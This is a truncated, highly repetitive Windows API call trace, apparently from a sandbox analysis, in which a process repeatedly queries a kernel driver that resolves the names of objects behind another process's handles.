[0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.087] SetLastError (dwErrCode=0x6) [0072.087] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.088] SetLastError (dwErrCode=0x6) [0072.088] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.089] GetLastError () returned 0x6 [0072.089] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.090] SetLastError (dwErrCode=0x6) [0072.090] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] GetLastError () returned 0x6 [0072.091] SetLastError (dwErrCode=0x6) [0072.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0072.091] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.091] PsAcquireProcessExitSynchronization () returned 0x0 [0072.091] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.091] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0072.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.091] PsReleaseProcessExitSynchronization () returned 0x2 [0072.091] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.091] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa80039de044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039de044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.092] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0072.092] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.092] GetLastError () returned 0x6 [0072.092] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.093] SetLastError (dwErrCode=0x6) [0072.093] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.094] SetLastError (dwErrCode=0x6) [0072.094] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.095] SetLastError (dwErrCode=0x6) [0072.095] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.096] SetLastError (dwErrCode=0x6) [0072.096] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.097] SetLastError (dwErrCode=0x6) [0072.097] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.098] GetLastError () returned 0x6 [0072.098] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.099] GetLastError () returned 0x6 [0072.099] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.100] SetLastError (dwErrCode=0x6) [0072.100] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] GetLastError () returned 0x6 [0072.101] SetLastError (dwErrCode=0x6) [0072.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0072.101] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.101] PsAcquireProcessExitSynchronization () returned 0x0 [0072.101] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.101] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0072.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.101] PsReleaseProcessExitSynchronization () returned 0x2 [0072.101] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.102] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039df044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039df044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.102] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0072.102] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0072.102] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.102] PsAcquireProcessExitSynchronization () returned 0x0 [0072.102] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.102] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0072.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.102] PsReleaseProcessExitSynchronization () returned 0x2 [0072.102] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.102] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa80039e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.102] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0072.102] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0072.102] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.102] PsAcquireProcessExitSynchronization () returned 0x0 [0072.102] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.102] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0072.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.102] PsReleaseProcessExitSynchronization () returned 0x2 [0072.102] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.102] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039e1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039e1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.102] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0072.103] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0072.103] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.103] PsAcquireProcessExitSynchronization () returned 0x0 [0072.103] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.103] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0072.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.103] PsReleaseProcessExitSynchronization () returned 0x2 [0072.103] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.103] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.103] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0072.103] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0072.103] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.103] PsAcquireProcessExitSynchronization () returned 0x0 [0072.103] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.103] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0072.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.103] PsReleaseProcessExitSynchronization () returned 0x2 [0072.103] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.103] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.103] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0072.103] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.402] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.402] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 